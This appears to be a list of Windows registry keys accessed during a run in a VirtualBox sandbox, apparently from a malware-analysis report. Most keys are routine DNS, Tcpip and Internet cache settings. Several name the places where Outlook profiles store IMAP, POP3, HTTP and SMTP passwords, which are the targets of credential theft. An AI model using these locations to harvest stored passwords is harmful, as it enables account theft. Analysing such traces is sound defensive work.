HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\MaxNumberOfAddressesToRegister HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateSecurityLevel HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateSecurityLevel HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UpdateSecurityLevel HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateTopLevelDomainZones HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateTopLevelDomainZones HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DowncaseSpnCauseApiOwnerIsTooLazy HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DowncaseSpnCauseApiOwnerIsTooLazy HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationOverwrite HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationOverwrite HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheSize HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheTtl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheTtl HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxNegativeCacheTtl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxNegativeCacheTtl HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterTimeoutLimit HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AdapterTimeoutLimit HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ServerPriorityTimeLimit HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ServerPriorityTimeLimit HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCachedSockets HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCachedSockets HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastResponderFlags HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastResponderFlags HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderFlags HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderFlags HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderMaxTimeout HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderMaxTimeout HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsTest HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseCompartments HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\CacheAllCompartments HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseNewRegistration HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistration HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistrationOnly HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQueryTimeouts HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQueryTimeouts HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQuickQueryTimeouts HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQuickQueryTimeouts HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrimaryDomainName HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableAdapterDomainNameRegistration HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterDomainName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\QueryAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DisableAdapterDomainName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationMaxAddressCount HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\MaxNumberOfAddressesToRegister HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\QueryAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableAdapterDomainName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableDynamicUpdate HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableAdapterDomainNameRegistration HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationMaxAddressCount HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\MaxNumberOfAddressesToRegister HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\SearchList HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\SearchList HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\NodeType HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpNodeType HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\ScopeId HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpScopeId HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableProxy HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableDns HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\ProductId HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger HKEY_CURRENT_USER\Control Panel\International\sYearMonth HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Url History\DaysToKeep HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SyncMode5 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\SessionStartTimeDefaultDeltaSecs HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Signature HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheOptions HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\regasm.exe HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\* HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldDllVersionLow HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldDllVersionHigh HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldVersionLow HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldVersionHigh HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Data HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Generation HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Data HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Generation HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Data HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Generation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MissingDependencies HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\IMAP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\POP3 Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\HTTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\SMTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\IMAP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\POP3 Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\HTTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\IMAP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\POP3 Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\HTTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP Password HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\Class HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\LocalServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\ServerExecutable HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppID HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalService HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\DllSurrogate HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RunAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ActivateAtStorage HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ROTFlags HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppIDFlags HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LaunchPermission HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyAuthenticationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyImpersonationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AuthenticationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RemoteServerName HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\SRPTrustLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\PreferredServerBitness HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LoadUserSettings HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#CdRomVBOX_CD-ROM_____________________________1.0_____#5&106af171&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LocalService HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ServiceParameters HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RunAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ActivateAtStorage HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ROTFlags HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AppIDFlags HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LaunchPermission HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AuthenticationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RemoteServerName HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\SRPTrustLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\PreferredServerBitness HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LoadUserSettings HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\DeviceDesc 